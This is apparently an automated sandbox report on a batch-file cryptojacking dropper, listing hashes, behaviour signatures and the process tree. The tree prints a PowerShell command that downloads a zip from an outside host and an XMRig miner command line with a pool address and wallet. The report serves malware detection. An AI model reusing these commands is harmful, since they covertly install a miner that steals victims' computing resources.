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Analysis

  • max time kernel
    1798s
  • max time network
    1804s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/11/2023, 15:45

General

  • Target

    tesy - Copy (9).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4712
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2904

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    49e7d5f2a296b59afec08bc314bed998

    SHA1

    7f898bf195ffd46ce2d19fad0ce33155f6e47f5f

    SHA256

    394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe

    SHA512

    f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    1aa09002cc4e4f72e8df09f32b354c2a

    SHA1

    188556aca11c8d652c60ade493f419d9f2bd2b3a

    SHA256

    7684c0dd185450ae45cd463718e4e021df6f6f1bf2cf07aa8b6dc8b6775ed723

    SHA512

    f68feaf684fae97622f79a0aa84bff37f975e7aa18920b9b85805fe99586fa1960268236cb6607e48c0f26d7fe5ecf1f2e8d7b1b4763c80453dee47245fe473c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tfjjert5.y01.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1100-9-0x0000029302780000-0x00000293027A2000-memory.dmp

    Filesize

    136KB

  • memory/1100-10-0x00007FF968CB0000-0x00007FF969771000-memory.dmp

    Filesize

    10.8MB

  • memory/1100-12-0x00000293026E0000-0x00000293026F0000-memory.dmp

    Filesize

    64KB

  • memory/1100-11-0x00000293026E0000-0x00000293026F0000-memory.dmp

    Filesize

    64KB

  • memory/1100-16-0x00007FF968CB0000-0x00007FF969771000-memory.dmp

    Filesize

    10.8MB

  • memory/2904-72-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-78-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-113-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-112-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-45-0x00000297AACC0000-0x00000297AACE0000-memory.dmp

    Filesize

    128KB

  • memory/2904-46-0x000002983EA70000-0x000002983EAB0000-memory.dmp

    Filesize

    256KB

  • memory/2904-47-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-49-0x00000297AAF30000-0x00000297AAF50000-memory.dmp

    Filesize

    128KB

  • memory/2904-48-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-50-0x000002983F0F0000-0x000002983F110000-memory.dmp

    Filesize

    128KB

  • memory/2904-51-0x00000297AAF30000-0x00000297AAF50000-memory.dmp

    Filesize

    128KB

  • memory/2904-52-0x000002983F0F0000-0x000002983F110000-memory.dmp

    Filesize

    128KB

  • memory/2904-53-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-54-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-55-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-56-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-57-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-58-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-59-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-60-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-61-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-62-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-63-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-64-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-65-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-66-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-67-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-68-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-69-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-70-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-71-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-111-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-73-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-74-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-75-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-76-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-77-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-110-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-79-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-80-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-81-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-82-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-83-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-84-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-85-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-86-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-87-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-88-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-89-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-90-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-91-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-92-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-93-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-94-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-95-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-96-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-97-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-98-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-99-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-100-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-101-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-102-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-103-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-104-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-105-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-106-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-107-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-108-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/2904-109-0x00007FF671BF0000-0x00007FF6726F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4712-28-0x000002496B950000-0x000002496B960000-memory.dmp

    Filesize

    64KB

  • memory/4712-27-0x00007FF968CB0000-0x00007FF969771000-memory.dmp

    Filesize

    10.8MB

  • memory/4712-31-0x000002496C780000-0x000002496C792000-memory.dmp

    Filesize

    72KB

  • memory/4712-29-0x000002496B950000-0x000002496B960000-memory.dmp

    Filesize

    64KB

  • memory/4712-32-0x000002496B940000-0x000002496B94A000-memory.dmp

    Filesize

    40KB

  • memory/4712-41-0x00007FF968CB0000-0x00007FF969771000-memory.dmp

    Filesize

    10.8MB